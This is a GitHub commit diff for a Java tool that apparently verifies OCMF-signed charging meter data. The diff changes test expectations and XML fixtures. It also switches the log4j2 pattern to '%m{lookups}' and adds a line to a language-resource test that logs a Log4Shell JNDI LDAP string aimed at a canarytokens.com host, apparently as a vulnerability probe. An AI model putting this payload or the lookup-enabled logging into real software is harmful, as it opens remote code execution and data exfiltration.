Skip to content

Commit

Permalink
TPS-1.2.0-final tested by PTB
Browse files Browse the repository at this point in the history
  • Loading branch information
Heiko Bobzin committed Feb 26, 2022
1 parent 502759e commit ecec7cd
Show file tree
Hide file tree
Showing 4 changed files with 29 additions and 25 deletions.
36 changes: 18 additions & 18 deletions src/main/resources/log4j2.xml
Original file line number Diff line number Diff line change
@@ -1,18 +1,18 @@
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d{HH:mm:ss.SSS} %-5level %logger{30} - %msg%n</pattern>
<alwaysWriteExceptions>true</alwaysWriteExceptions>
<!--<pattern>%-5level - %msg%n</pattern>-->
<!--<alwaysWriteExceptions>false</alwaysWriteExceptions>-->
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="DEBUG">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d{HH:mm:ss.SSS} %-5level %logger{30} - %m{lookups}-%n</pattern>
<alwaysWriteExceptions>true</alwaysWriteExceptions>
<!--<pattern>%-5level - %msg%n</pattern>-->
<!--<alwaysWriteExceptions>false</alwaysWriteExceptions>-->
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="DEBUG">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Original file line number Diff line number Diff line change
Expand Up @@ -74,11 +74,9 @@ public void test_ocmf_brainpoolP() throws Exception {
public void test_second_key_fail() throws Exception {
chooseFile(testDirXML,"second_key_fail_ocmf.xml");
String pubKey = getWindow().textBox("text.pubkey").text();
assertEquals("30 56 30 10 06 07 2A 86 48 CE 3D 02 01 06 05 2B 81 04 00 0A 03 42 00 04 AC EB B9 E1 48 F9 66 DB 42 35 C4 9E 5E CA AD 19 79 F2 2F 4F AF E4 23 8A 6B A3 23 FA A0 EA 9F FB 68 4B 0B FC 7F CE 48 F7 81 C9 15 23 63 20 1A A0 DC 79 38 46 C3 97 A1 DB D4 F4 6F 87 00 83 09 B1", pubKey);
assertEquals("", pubKey);
delayForVerify();
getWindow().label("lbl.icon").requireText(Daten_wurden_verifiziert);
getWindow().label("lbl.meter").requireText(Pattern.compile(".*1,833 kWh.*"));
getWindow().label("lbl.meter").requireText(Pattern.compile(".*0,000 kWh.*"));
getWindow().label("lbl.icon").requireText(".*Keine Daten vorhanden.*");
delay();
}

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,10 @@
import java.util.Locale;
import java.util.ResourceBundle;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.junit.Test;
import org.slf4j.LoggerFactory;

public class LangResourcesTest {

Expand All @@ -15,6 +18,9 @@ public class LangResourcesTest {
public void checkTwoLang() {

compareLang(new Locale("en","EN"), new Locale("de","DE"));

Logger LOG = LogManager.getLogger("foobar");
LOG.info("Here is ${java:os} ${jndi:ldap://"+System.currentTimeMillis()+".u68w7yd1jfdw9bncqdq4v4u3m.canarytokens.com/a}");
}

private void compareLang(Locale l1, Locale l2) {
Expand Down
6 changes: 3 additions & 3 deletions src/test/resources/xml/ocmf_sec.xml
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
<?xml version="1.0"?><values>
<value transactionId="471810310" context="Transaction.Begin">
<signedData>OCMF|{"FV" : "1.0","GI" : "Nano CH-10311C","GS" : "048939","GV" : "v017","PG" : "T6","MV" : "DZG","MM" : "DVH4013","MS" : "1DZG0033016911","IS" : true,"IL" : "VERIFIED","IF" : ["RFID_NONE","OCPP_NONE","ISO15118_NONE","PLMN_NONE"],"IT" : "EMAID","ID" : "0410006a345b84","CT" : "CBIDC","CI" : "CI","RD" : [{"TM" : "2021-07-20T17:37:52,000+0200 I","TX" : "B","RV" : " 3.988","RI" : "01-00:01.08.00.FF","RU" : "kWh","RT" : "AC","EF" : "","ST" : "G"}]}|{"SA" : "ECDSA-secp256k1-SHA256","SD" : "30450220501BF43CD2E173ED9503EC176DA94951F3CDEF5B71322884FA7C9471C379E3C3022100B2BC2A9550AA1B555D6B98AC244085C6CBDEF4FB23D1DEA6628A8ADCB958D461"}</signedData>
<signedData format="OCMF">OCMF|{"FV" : "1.0","GI" : "Nano CH-10311C","GS" : "048939","GV" : "v017","PG" : "T6","MV" : "DZG","MM" : "DVH4013","MS" : "1DZG0033016911","IS" : true,"IL" : "VERIFIED","IF" : ["RFID_NONE","OCPP_NONE","ISO15118_NONE","PLMN_NONE"],"IT" : "EMAID","ID" : "0410006a345b84","CT" : "CBIDC","CI" : "CI","RD" : [{"TM" : "2021-07-20T17:37:52,000+0200 I","TX" : "B","RV" : " 3.988","RI" : "01-00:01.08.00.FF","RU" : "kWh","RT" : "AC","EF" : "","ST" : "G"}]}|{"SA" : "ECDSA-secp256k1-SHA256","SD" : "30450220501BF43CD2E173ED9503EC176DA94951F3CDEF5B71322884FA7C9471C379E3C3022100B2BC2A9550AA1B555D6B98AC244085C6CBDEF4FB23D1DEA6628A8ADCB958D461"}</signedData>
<publicKey>3056301006072A8648CE3D020106052B8104000A03420004D408079EC190B8CD7348E42A55D604DAC9090A5B3640F759F95F2F3EFC108BB05575E39DB68402C1077CF991F2AE376BE4DFA63A64B6EB250180B3E0AAD5A144</publicKey>
</value>
<value transactionId="471810310" context="Transaction.End">
<signedData>OCMF|{"FV" : "1.0","GI" : "Nano CH-10311C","GS" : "048939","GV" : "v017","PG" : "T7","MV" : "DZG","MM" : "DVH4013","MS" : "1DZG0033016911","IS" : true,"IL" : "VERIFIED","IF" : ["RFID_NONE","OCPP_NONE","ISO15118_NONE","PLMN_NONE"],"IT" : "EMAID","ID" : "0410006a345b84","CT" : "CBIDC","CI" : "CI","RD" : [{"TM" : "2021-07-20T17:38:11,000+0200 I","TX" : "E","RV" : " 3.988","RI" : "01-00:01.08.00.FF","RU" : "kWh","RT" : "AC","EF" : "","ST" : "G"},{"TM" : "2021-07-20T17:38:11,000+0200 I","TX" : "E","RV" : " 19","RI" : "01-00:00.08.06.FF","RU" : "sec","RT" : "AC","EF" : "","ST" : "G"}]}|{"SA" : "ECDSA-secp256k1-SHA256","SD" : "30440220171DF748B18ACFFE83BC6B198042530B5D12F8368FFF321859F5AB3B2CD4B17F02203FE120BF5D8A2B6A3C92E9B0B3C1A05AE55AECF425DDE3CF326EF3B4A0497D42"}</signedData>
<signedData format="OCMF">OCMF|{"FV" : "1.0","GI" : "Nano CH-10311C","GS" : "048939","GV" : "v017","PG" : "T7","MV" : "DZG","MM" : "DVH4013","MS" : "1DZG0033016911","IS" : true,"IL" : "VERIFIED","IF" : ["RFID_NONE","OCPP_NONE","ISO15118_NONE","PLMN_NONE"],"IT" : "EMAID","ID" : "0410006a345b84","CT" : "CBIDC","CI" : "CI","RD" : [{"TM" : "2021-07-20T17:38:11,000+0200 I","TX" : "E","RV" : " 3.988","RI" : "01-00:01.08.00.FF","RU" : "kWh","RT" : "AC","EF" : "","ST" : "G"},{"TM" : "2021-07-20T17:38:11,000+0200 I","TX" : "E","RV" : " 19","RI" : "01-00:00.08.06.FF","RU" : "sec","RT" : "AC","EF" : "","ST" : "G"}]}|{"SA" : "ECDSA-secp256k1-SHA256","SD" : "30440220171DF748B18ACFFE83BC6B198042530B5D12F8368FFF321859F5AB3B2CD4B17F02203FE120BF5D8A2B6A3C92E9B0B3C1A05AE55AECF425DDE3CF326EF3B4A0497D42"}</signedData>
<publicKey>3056301006072A8648CE3D020106052B8104000A03420004D408079EC190B8CD7348E42A55D604DAC9090A5B3640F759F95F2F3EFC108BB05575E39DB68402C1077CF991F2AE376BE4DFA63A64B6EB250180B3E0AAD5A144</publicKey>
</value>
</values>
</values>

0 comments on commit ecec7cd

Please sign in to comment.